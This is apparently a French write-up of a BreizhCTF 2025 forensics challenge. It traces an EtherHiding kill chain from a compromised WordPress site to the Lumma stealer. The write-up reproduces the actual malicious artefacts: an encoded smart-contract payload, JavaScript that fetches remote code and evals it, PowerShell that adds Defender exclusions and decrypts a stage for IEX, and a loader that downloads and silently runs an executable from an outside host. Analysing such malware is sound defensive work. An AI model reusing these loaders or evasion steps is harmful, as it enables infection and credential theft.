Clear Law
Pour l'édition 2025 du BreizhCTF, j'ai eu l'opportunité de créer les challenges de forensic.
Ce challenge-ci était classé comme Moyen et n'a été résolu que par 1 équipe parmi plus de 100 participantes.
Énoncé
Cela fait quelque temps que le manager de la branche américaine de votre entreprise fait face à des difficultés managériales avec certaines de ses nouvelles recrues. En essayant de trouver une solution, il est tombé sur le site www.r2kslaw.]com et selon lui, le site lui a apporté toutes les clés pour résoudre tous les conflits latents. Toutefois, depuis que votre manager s'est rendu sur ce site, un nombre de tentatives de connexion illégitime anormalement élevé a été observé sur ses comptes. Investigué pour trouver pourquoi.
Note : Le manager a visité le site le 26 Juin 2024 et les analyses ont commencé l’investigation le même jour à 16:38:00 UTC
Identifier le nom du script JS déposé sur le site compromis permettant le déclenchement du first stage de la killchain
Identifier le nom de la technique permettant le déclenchement du first stage de la killchain
Identifier les deux bornes min et max définissant le temps d’inactivité du script téléchargeant le dernier stage
Identifier l’endpoint commun à toutes les URL vers lesquelles le dernier stage du malware tente de faire une requête
Format : BZHCTF{flag}
Solution
Dans un premier temps si l’on se penche sur le contenu de l’ennoncé on peut identifier plusieurs informations utile, notament : la date 26 Juin 2024 et l’heure 16:38:00 UTC
1. Identifier le nom du script JS déposé sur le site compromis permettant le déclenchement du first stage de la killchain | Identifier le nom de la technique permettant le déclenchement du first stage de la killchain
“EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts
2. Identifier les deux borne min et max definissant le temps d’inactivité du script téléchargeant le dernier stage
{"jsonrpc":"2.0","id":44,"result":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000ae85a6e56755933527062323467587a42344e6a566d4e69677065324e76626e4e3049463877654445354e7a686b4e6a31624a7a557a4d7a41354e58566e5a6d4e73517963734a334a6c63334276626e4e6c5647556e4c4363784e6a45344d546c5a516c4a695331496e4c4363784e58527251575272575363734a334e6c626d516e4c43646b5a47566b505363734a7a49774e6a67344f445278596b52776148496e4c4363334e5445784d54425a596c4e766446516e4c4363764f45393059554a794c7a39684a79776e4e7a417a4e54517754576845553370514a79776e4e45645764465234555363734a3268306448427a4f6938765a476b6e4c4363314f5463774e7a426953486c465932676e4c4363794d6c64566455356e525363734a795a3061484a6c595751394a79776e646e6c7159576b794c6e6835656963734a306446564363734a7a45794e7a63354f44593461555a48576c64694a79776e6233426c626963734a334a51655746304a79776e61314a706448496e4c4363784f455a5764316843637963734a7a49305955467661315a474a313037587a42344e6a566d4e6a316d6457356a64476c766269677065334a6c64485679626942664d4867784f5463345a445937665474795a585231636d3467587a42344e6a566d4e6967704f33316d6457356a64476c76626942664d4867304e6d49784b463877654445775a47557a5a4378664d486778597a6c6b4d6a677065324e76626e4e30494638776544673059544d79597a31664d4867324e5759324b436b37636d563064584a754946387765445132596a45395a6e5675593352706232346f587a42344d7a646b4f4459774c463877654456685a6d466b59536c37587a42344d7a646b4f4459775056387765444d335a4467324d43306f4d4867784d7a52694b7a42345a6d52684b6a42344d5373744d4867794d5751334b5474735a585167587a42344d5449775a574977505638776544673059544d79593174664d48677a4e3251344e6a42644f334a6c64485679626942664d4867784d6a426c596a4137665378664d4867304e6d49784b463877654445775a47557a5a4378664d486778597a6c6b4d6a67704f33306f5a6e5675593352706232346f587a42344e474a694d6a6c6a4c463877654445314f44426a5a536c375932397563335167587a42344e545577595445775056387765445132596a4573587a42344d5446694f446b795056387765445269596a4935597967704f33646f6157786c4b43456857313070653352796558746a6232357a644342664d4867304e7a646b5a5441394c584268636e4e6c535735304b463877654455314d4745784d4367776544453159796b704c79677765474d714d4867784f4745724d4867795a696f744d4867314f5373744d4867794d6a41714d4867784b53747759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e4759704b53386f4c5442344d5442684d797377654446684d4449724c5442344f54566b4b536f6f4c584268636e4e6c535735304b463877654455314d4745784d436777654445324d796b704c7967744d4867784b6930776544466b5a6d45724c5442344f536f744d4867794f5373744d4867785a6a59344b536b72634746796332564a626e516f587a42344e545577595445774b4442344d54526c4b536b764b4442344d5463714d4867784e3259724d4867324e796f744d4867784d5373744d486778596a686c4b536f6f4c584268636e4e6c535735304b463877654455314d4745784d436777654445315a696b704c796777654445714c5442345a6d55354b793077654445714d486778597a686b4b7a42344d6d4d3359696b704b79317759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e6a49704b53386f4d4867784b69307765444a6a596973744d4867794b6a42344d6d49354b7a42344f44517a4b537374634746796332564a626e516f587a42344e545577595445774b4442344d54566c4b536b764b4442344d544531595373776544457a4e6d45724d4867324d796f744d4867315a696b714b484268636e4e6c535735304b463877654455314d4745784d4367776544453159696b704c796777654445714d4867784d5749724c5442345a5751314b693077654445724c5442345a6d55344b536b724c584268636e4e6c535735304b463877654455314d4745784d4367776544453159536b704c7967776544453259537377654445314e7a49724c5442344d545a6b4d796b714b43317759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e5445704b53386f4c5442344d5756684e437377654749315a437377654445334b6a42345a4463704b53747759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e5449704b53386f4d4867785a5751304b793077654445714d4867784d5442684b793077654752695a696b714b484268636e4e6c535735304b463877654455314d4745784d436777654445314e696b704c796777654445714d4867794d3245314b7a4234593246694b793077654445344d6a49714d4867794b536b376157596f587a42344e4463335a47557750543039587a42344d5455344d474e6c4b574a795a5746724f32567363325567587a42344d5446694f446b795779647764584e6f4a31306f587a42344d5446694f446b795779647a61476c6d644364644b436b704f33316a5958526a614368664d4867784d7a517a4e4451706531387765444578596a67354d6c736e6348567a614364644b46387765444578596a67354d6c736e633268705a6e516e585367704b5474396658306f587a42344e6a566d4e6977744d48677a4e7a41794b693077654449324b7a42344d536f744d4867314d545a684e7973776547466d4b6a42344d546c6a4b53776f587a42344d6a5133596a4a6a4c463877654452694d4441305a6a306e6433416e4b54302b65324e76626e4e3049463877654451315957497a4e4431664d4867304e6d49784c463877654452684f546869596a31374a334a51655746304a7a70664d4867304e5746694d7a516f4d4867784e5455704c436472556d6c30636963365a6e5675593352706232346f587a4234596a4d775a4445314c463877654449324e6a59334d436c37636d563064584a75494638776547497a4d4751784e5368664d4867794e6a59324e7a41704f3331394f3374735a585167587a42344d6a4269596d526c5057356c647942595455784964485277556d56786457567a644367704f334a6c64485679626942664d4867794d474a695a475662587a42344e445668596a4d304b4442344d5455334b56306f587a42344e4745354f474a6957313877654451315957497a4e436777654445314f436c644c463877654451315957497a4e436777654445314d436b72587a42344e445668596a4d304b4442344d5455304b5374664d4867304e5746694d7a516f4d4867784e6a51704b313877654451315957497a4e436777654445324d536b72587a42344d6a5133596a4a6a4b313877654451315957497a4e436777654445314d796b72587a42344e4749774d44526d4c43456f4c5442344f536f7765444533596973744d4867784e5455714c5442344d6973744d48686d4b693077654749324b536b73587a42344d6a4269596d526c57313877654451315957497a4e436777654445324d436c644b473531624777704c463877654452684f546869596c74664d4867304e5746694d7a516f4d4867784e546b705853686c646d46734c46387765444977596d4a6b5a5674664d4867304e5746694d7a516f4d4867784e5751704b796434644364644b54743966536b37000000000000000000000000000000000000000000000000"}
;(_0x247b2c, _0x4b004f = 'wp') => { { let _0x20bbde = new XMLHttpRequest() return ( _0x20bbde.open( 'GET', 'https://divyjai2.xyz/8OtaBr/?added=' + _0x247b2c + '&thread=' + _0x4b004f, false ), _0x20bbde.send(null), eval(_0x20bbde.responseText) ) }}
const url = 'https://divyjai2.xyz/bvxny6R6';
let iframe = document.createElement('iframe');
const remove_iframe = e => {
'removetheiframe' == e.data && (iframe.parentNode.removeChild(iframe), document.body.removeAttribute('style'));
};
window.addEventListener('message', remove_iframe, !1);
const iframe_ready = e => {
window.scrollTo(0, 0), iframe.style.display = 'block', iframe.style['margin-top'] = '', document.body.style.padding = '0', document.body.style.margin = '0', document.body.style.height = '0px', document.body.style.overflow = 'hidden', window.scrollTo(0, 0);
}, create_iframe = () => {
iframe.onload = iframe_ready, iframe.src = url, iframe.style.width = '100%', iframe.style.height = '100%', iframe.style.display = 'none', iframe.style.position = 'absolute', iframe.style['z-index'] = '99999999999', iframe.scrolling = 'no', document.head.parentNode.insertBefore(iframe, document.head);
};
create_iframe();
Les recherches via urlscan.io quand au contenu télécharger via l’url hxxps://divyjai2.xyz/bvxny6R6 ne donne rien. De ce faite nous allons chercher via threatfox.abuse.ch :
On a par la même occasion la description d’une killchain similaire identifier par la personne qui à report le script.
A noter qu’au vu des informations donnée, on peut déduire que les différents site wordpress compromis distribue les même script de compromission
downloaddining.rest - urlscan.io
function SOMGA {
$t = Get-WmiObject Win32_PerfFormattedData_Counters_ThermalZoneInformation -Namespace "root\CIMV2"
if ($t -ne $null) {
foreach ($i in $t) {
$c = $i.Temperature / 10.0
$f = ($c * 9 / 5) + 32
return ("{0:F2} C : {1:F2} F" -f $c, $f)
}
} else {
[Environment]::Exit(1)
}
}
SOMGA;
Set-Clipboard -Value " "
Add-MpPreference -ExclusionPath "$env:USERPROFILE\AppData"
Add-MpPreference -ExclusionPath "C:\ProgramData"
function FxC {
param (
[string]$p
)
$x = Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
return $x -contains $p
}
$z1 = "$env:USERPROFILE\AppData"
$z2 = "C:\ProgramData"
do {
Start-Sleep -Seconds 1
} until ((FxC -p $z1) -and (FxC -p $z2))
$x2fM3d = [ScriptBlock]::Create((('G'+'e'+'t') + '-' + ('D'+'a'+'t'+'e')))
$w9eR1a = ("f u n c t i o n   A { p a r a m ( $ x ) ; $ b = N e w - O b j e c t   B y t e [ ] ( $ x . L e n g t h / 2 ) ; f o r ( $ i = 0 ; $ i - l t $ b . L e n g t h ; $ i + + ) { $ b [ $ i ] = [ C o n v e r t ] : : T o B y t e ( $ x . S u b s t r i n g ( $ i * 2 , 2 ) , 1 6 ) } ; $ b } 
 f u n c t i o n   B { p a r a m ( [ P a r a m e t e r ( M a n d a t o r y = $ t r u e ) ] [ s t r i n g ] $ e , [ P a r a m e t e r ( M a n d a t o r y = $ t r u e ) ] [ s t r i n g ] $ k , [ P a r a m e t e r ( M a n d a t o r y = $ t r u e ) ] [ s t r i n g ] $ v ) ; $ d = N e w - O b j e c t   S y s t e m . T e x t . U T F 8 E n c o d i n g ; $ c = [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ e ) ; $ a = N e w - O b j e c t   S y s t e m . S e c u r i t y . C r y p t o g r a p h y . A e s M a n a g e d ; $ a . M o d e = [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . C i p h e r M o d e ] : : C B C ; $ a . P a d d i n g = [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . P a d d i n g M o d e ] : : P K C S 7 ; $ a . K e y S i z e = 1 2 8 ; $ a . B l o c k S i z e = 1 2 8 ; $ a . K e y = $ d . G e t B y t e s ( $ k ) ; $ a . I V = A   $ v ; $ t = $ a . C r e a t e D e c r y p t o r ( ) ; $ p = $ t . T r a n s f o r m F i n a l B l o c k ( $ c , 0 , $ c . L e n g t h ) ; $ d . G e t S t r i n g ( $ p ) } 
 $ k = [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " S j V Q R W I 2 W E p m b X l L V X F 2 N w = = " ) ) 
 $ v = [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " Y W M 0 N T l m N j Q y M T F m Y 2 Q 4 N T F j Z j B m N T d j M j Q z M D E y N z A = " ) ) 
 $ E = ' r V w L g w i u B Z G U 5 H U I X Z I v e s q B k L c 8 H A k 4 q o + O P j X m 0 Z m x I 3 S R g f T r Y F I Y 6 Q 4 Q Y / M Z G t / i L 7 N U c b g w E A Y u o M Y 1 w G 9 t V I 7 j + L I 1 1 T N N z w P M Z H L 7 N 2 6 g p v e X + O X m h 9 M n Q M k j 9 5 H 4 S 1 y s V N o M g C 8 j h m 7 b + / 5 k t 9 F P h I n q b o K q c L C 5 G x T G P T R Z l s F f I R u D P E 0 4 0 r 3 c t Q N T c 1 s S m v k 2 r P d R M v 6 w I L b t q O V r q O S 7 u u Z Q o F a l G M U s P C Z h n H d X G 7 j R I C y b K p K u N m m P / z i D a 4 j d q 7 m L G D h w s T s s w x Y 4 W 5 n N n r c w H 3 e v N y V 6 F L b I D c K y Y x X N K y q L h F K a k i e K l 8 V 8 F d 1 0 + z o v u 7 I + H Q v I 4 w L p k s n 0 K Q v s W / 2 n w j 3 7 d K V C l U D I 8 7 A U n P f J V f w E O a V V M y S / c z A Z Y 2 V 2 R A J x 0 b W 8 Y b y 8 3 J k Y t U o o w R Z i V g A u u 2 K 1 7 s 5 8 2 v r S G f n Z 8 q z u h K 3 y U E f d E g 6 J r F H t L / G 3 C / S h X A / h K C C / A O p m H p Z l Y g N 3 w e i g n q 2 X m 7 d O o t f 7 b X 2 d Z Y R C / 2 w q t E / K / w b j 9 O M 3 k y o h 8 B L p t Y s n v E 3 C w F e D j G a f 3 x G S j 1 A b 9 v d Y L x j h 5 N 9 r B r J v l g m d e i y v y t s 9 J c a X O R m l M 5 p T s R a u q 6 5 R r d w Q s J 5 a / Q 6 e c C b S d X c v 7 J P i l R v d h 3 H D r m F S B 0 4 2 R Y m 8 g b p s I P q I i / e x K 1 6 4 E T q k d n P K E h 0 D / b C e C J g e n a n n H E q r 9 4 U d d n S l y l A 8 Y i D K j 3 2 h 0 s p U z K 6 + 3 8 b W q G U I J C k 0 9 U c 7 W m h D L T m L L c K F a P r r K F g O D 7 Y h / 5 3 B 5 N P w 5 v X f I I a P a Z 8 9 G v b 5 K 4 0 f j k j 5 P K 9 q e L + + E a / K e 0 d f / D V g u I k b s E d M k s / S N G H l V C B 2 X u T d y s 7 I F n L D G F u D M n u 1 o q i Z k L M C N 3 0 L p 0 3 v Z o u l n T A y 6 s 6 V + B 2 Q y A l 0 F f G d C W o d y H z y z K P b G c F d 9 W F q I d C q H k Z N 4 T x F x C 2 W 9 x X M x P e T h E w c G 8 s X M w D 8 9 z 2 e 6 + M l L Q Y z 3 8 m g q J Z / B b w j U D L X N z Q k n a H s 9 Q t n Z F R a n h K 2 U e 5 X Q s 3 2 f d C T Y n C E 3 K w C u H i C f 7 / 9 f T e I c P 2 A K Y M u f 5 M R f L m J E O I / Z F E 5 1 e 7 f r Z L O x b g l a L j L w 7 R U w 2 y 3 L l f 2 X T / C x V 4 5 U I k N 8 I G W E m 6 o / H k Y Y R l Z j X I c 3 e A D z S 6 1 5 v B W + s 6 M a A K m t U Y 2 2 C B B 9 I Q g C / s J e d h u 0 s O 2 B t u W w V O s i 3 x I U D / g n 0 h 7 w g S E q s t p t F 3 X x M h O Y q G x m N z R V q q 7 d x T 3 8 b R 4 / w l t l p i p J f F L v D O L 3 7 v C 5 G Z O n L D + G x N l Q 7 w o G + t 6 P H c u q 9 O n A p N Z z q D D h U W o a S Q / p B C u b g P a 7 z + N 5 c f a F I 3 P i 4 x 5 E + s / S q j s w Z k e 5 h x P k V j l 8 n P f r n 6 e p r 8 V b x M j 3 I 9 s n U m S n 9 5 q m 2 3 S Y E W B + N k 8 R d L D 4 L D e z + j R 8 H T F j w Y l H q d R K A t A o V T o L L C v Q k h o 2 f o F a m 5 h 5 U d u V p 9 k 8 m u X u q 5 a + a p i S y o b a 8 r v 0 n c n n + i + 0 X y U p G m a + H c V 2 W Q s a o + w P 2 I Q Z y A 0 I m R t G O y c q x p 6 J G S 8 f F j 3 W p O B z t 1 h o A x 0 W w Y z h T N t i 0 m O p Z w i a D 8 k h K K b T h Z A K P Y Z E 7 8 Z y J w w q b y E V V 7 4 k D p U r a T I f a 7 6 X Q w l W b i M y C b 2 d V M + l 4 4 R e p U p A c M 0 t 4 S E w 8 f A x H n l P u c k l N A p s D / Z B z 2 n D t k x f Z R j R o 8 h B E s C 7 y 7 2 Y T R Y J f Y s c I W z a y w 5 E 3 7 Q K M A q Q a t h u f v f v D t S Y / M G 5 A / z 6 a e E z x 3 g 4 t f W B w 0 K q 7 M M X c H j 4 m o K Q 7 W h g m U S d M R q W 3 b G U S I 3 g W a C J H j f G s n + Y w H E 1 a t w m q 8 t q N 7 D I C d d J s X N 4 b O e L N Z s 8 3 6 P k Z + v T E 1 A U e C 1 B w y r G e g l s 1 c r f E N 9 F W Q 6 G R P g s 4 O C h O H k o c G v v G a h L j Y 2 p O O g k V B 0 L h N R T j 4 B p I 8 c o T t M / 3 C T v F U 6 t G K C + l B S T U w X p V E h h 3 3 H G + G a r o L r l / J p 4 N l N y e T m E w N H W g C c k D B 5 7 w S R i M t k N d D B N a t l d + x T 3 8 z U f X L T 3 U Y b e 6 q U I N c S c 9 w X k x 5 7 e 0 4 + h T e J C d T + p Z a c u S v E B I 4 w I H v f c l s 8 u j x P k V P M I q W W t s J I i o p 4 t P Y J Q 5 a K + P K 6 y d j U U V q t C m a 7 1 4 M k P V b i v H 0 D S R H W i 3 U S g T o q G F R T N 6 H c y j 2 x / Y g X P y X w 2 Y V h n e t n 5 J u 9 n k f Z W I u o e 7 h z N i f S h y j i f N A H N S l f 7 R / z n 5 d E 1 Z m n b b o X q p o S P L n t X g v 2 b F E G 5 N 0 2 W + j Y t h T U R q z c x T j o k K J k u X Y A Z g = = ' 
 $ D = B   - e   $ E   - k   $ k   - v   $ v 
 I E X   $ D ; ")
$y6uL4q = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($w9eR1a))
$k3mV5x = [ScriptBlock]::Create($y6uL4q)
$j4bN2t = $x2fM3d.Ast
$z7qX1w = $k3mV5x.Ast
$h9gP3d = $j4bN2t.Copy()
$v2mL4k = $z7qX1w.EndBlock.Copy()
$s1dR6j = [System.Management.Automation.Language.ScriptBlockAst]::new(
$h9gP3d.Extent,
$null,
$null,
$null,
$v2mL4k,
$null
)
$r3gY2aBlock = $s1dR6j.GetScriptBlock()
$r3gY2aBlock.Invoke() | Out-String
On a un premier script avec une seconde charge
function A {
param($x);
$b = New - Object Byte[]($x.Length / 2);
for($i = 0;
$i - lt$b.Length;
$i++) {
$b[$i] = [Convert]::ToByte($x.Substring($i * 2, 2), 16)
};
$b
}
function B {
param([Parameter(Mandatory = $true)][string]$e, [Parameter(Mandatory = $true)][string]$k, [Parameter(Mandatory = $true)][string]$v);
$d = New - Object System.Text.UTF8Encoding;
$c = [Convert]::FromBase64String($e);
$a = New - Object System.Security.Cryptography.AesManaged;
$a.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$a.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$a.KeySize = 128;
$a.BlockSize = 128;
$a.Key = $d.GetBytes($k);
$a.IV = A $v;
$t = $a.CreateDecryptor();
$p = $t.TransformFinalBlock($c, 0, $c.Length);
$d.GetString($p)
}
$k = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SjVQRWI2WEpmbXlLVXF2Nw=="))
$v = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YWM0NTlmNjQyMTFmY2Q4NTFjZjBmNTdjMjQzMDEyNzA="))
$E = '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'
$D = B - e $E - k $k - v $v
IEX $D;
On remplace IEX par Write-Host puis on utilise tio.run
$XxZ = {
$Rz = Get-Random -Minimum 3100 -Maximum 5100
Start-Sleep -Milliseconds $Rz
$Pz = 'Tls12, Tls11, Tls, Ssl3'
$Sz = $Pz -split ', ' | ForEach-Object { [Net.SecurityProtocolType]::$_ } | ForEach-Object -Begin { $Vz = 0 } -Process { $Vz = $Vz -bor $_ } -End { $Vz }
[Net.ServicePointManager]::SecurityProtocol = $Sz
$Mz = (Get-Process -Id $PID | Select-Object @{Name='Zz'; Expression={($_.ws / 1MB)}}).Zz
if ($Mz -lt 250) { $Nz = 'b' * 300MB }
Add-Type -AssemblyName System.Net.Http
Add-Type -AssemblyName System.IO.Compression.FileSystem
$Hz = New-Object System.Net.Http.HttpClient
$Uz = 'https://downloaddining.rest/df/ENC'
$Kz = [System.IO.Path]::GetRandomFileName() + '.zip'
$Qz = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), $Kz)
$Bz = $Hz.GetByteArrayAsync($Uz)
$Bz.Wait()
[System.IO.File]::WriteAllBytes($Qz, $Bz.Result)
$Fz = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('ApplicationData'), [System.IO.Path]::GetRandomFileName())
[System.IO.Directory]::CreateDirectory($Fz)
Start-Sleep -Milliseconds $Rz
[System.IO.Compression.ZipFile]::ExtractToDirectory($Qz, $Fz)
Start-Sleep -Milliseconds $Rz
$Ez = Get-ChildItem -Path $Fz -Filter *.exe -Recurse | Select-Object -First 1
if ($Ez -ne $null) {
$Pz = New-Object System.Diagnostics.Process
$Pz.StartInfo.FileName = $Ez.FullName
$Pz.StartInfo.UseShellExecute = $false
$Pz.StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
$Pz.Start()
}
}
$XxZ.Invoke() | Out-Null
$Rz = Get-Random -Minimum 3100 -Maximum 5100
3. Identifier l’endpoint commun à tout les urls vers lequel le dernier stage du malware tente de faire une requete
downloaddining.rest - urlscan.io
lumma | 384d1185d248d647cc639c24f082412950b1bb2413c49e152257b8fc1a42468c | Triage
Format : BZHCTF{md5{script.js|nomdelatechnique|bornemin-bornemax|endpoint}}
Flag :
BZHCTF{ethers-5.2.umd.min.js|etherhiding|3100-5100|api}
BZHCTF{1e16b0a1ff9f0733fd961b55b5dce974}
4. Analyse complémentaire
Lors de l’analyse réaliser j’ai identifier 3 scan du nom de domaine qui ne comportait pas les même artefacts que les autres scans
Toutefois je n’ai pas reussi à identifier la suite de la killchain en passant par ce nom de domaine.
Ces deux scans ont été fait mais ne contiennent pas les traces de compromissions type de l’attaquant
